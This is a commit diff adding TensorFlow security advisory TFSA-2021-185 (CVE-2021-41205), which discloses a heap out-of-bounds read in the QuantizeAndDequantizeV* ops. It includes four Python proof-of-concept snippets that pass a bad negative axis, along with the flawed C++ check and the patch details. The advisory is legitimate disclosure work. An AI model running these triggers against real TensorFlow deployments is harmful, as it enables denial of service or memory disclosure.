chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2021-185.md

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+## TFSA-2021-185: Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops
+
+### CVE Number
+CVE-2021-41205
+
+### Impact
+The [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:
+
+```python
+import tensorflow as tf
+
+@tf.function
+def test():
+  data=tf.raw_ops.QuantizeAndDequantizeV4Grad(
+    gradients=[1.0,1.0],
+    input=[1.0,1.0],
+    input_min=[1.0,10.0],
+    input_max=[1.0,10.0],
+    axis=-100)
+  return data
+
+test()
+```
+
+```python
+import tensorflow as tf
+
+@tf.function
+def test():
+  data=tf.raw_ops.QuantizeAndDequantizeV4(
+    input=[1.0,1.0],
+    input_min=[1.0,10.0],
+    input_max=[1.0,10.0],
+    signed_input=False,
+    num_bits=10,
+    range_given=False,
+    round_mode='HALF_TO_EVEN',
+    narrow_range=False,
+    axis=-100)
+  return data
+
+test()
+```
+
+```python
+import tensorflow as tf
+
+@tf.function
+def test():
+  data=tf.raw_ops.QuantizeAndDequantizeV3(
+    input=[1.0,1.0],
+    input_min=[1.0,10.0],
+    input_max=[1.0,10.0],
+    signed_input=False,
+    num_bits=10,
+    range_given=False,
+    narrow_range=False,
+    axis=-100)
+  return data
+
+test()
+```
+
+```python
+import tensorflow as tf
+
+@tf.function
+def test():
+  data=tf.raw_ops.QuantizeAndDequantizeV2(
+    input=[1.0,1.0],
+    input_min=[1.0,10.0],
+    input_max=[1.0,10.0],
+    signed_input=False,
+    num_bits=10,
+    range_given=False,
+    round_mode='HALF_TO_EVEN',
+    narrow_range=False,
+    axis=-100)
+  return data
+
+test()
+```
+
+In all of these cases, `axis` is a negative value different than the special
+value used for optional/unknown dimensions (i.e., -1). However, the code ignores
+the occurrences of these values:
+
+```cc
+...
+if (axis != -1) {
+  ...
+  c->Dim(input, axis);
+  ...
+}
+```
+
+### Patches
+We have patched the issue in GitHub commit [7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d](https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d).
+
+The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
+
+### For more information
+Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
+
+### Attribution
+This vulnerability has been reported by members of the Aivul Team from Qihoo 360.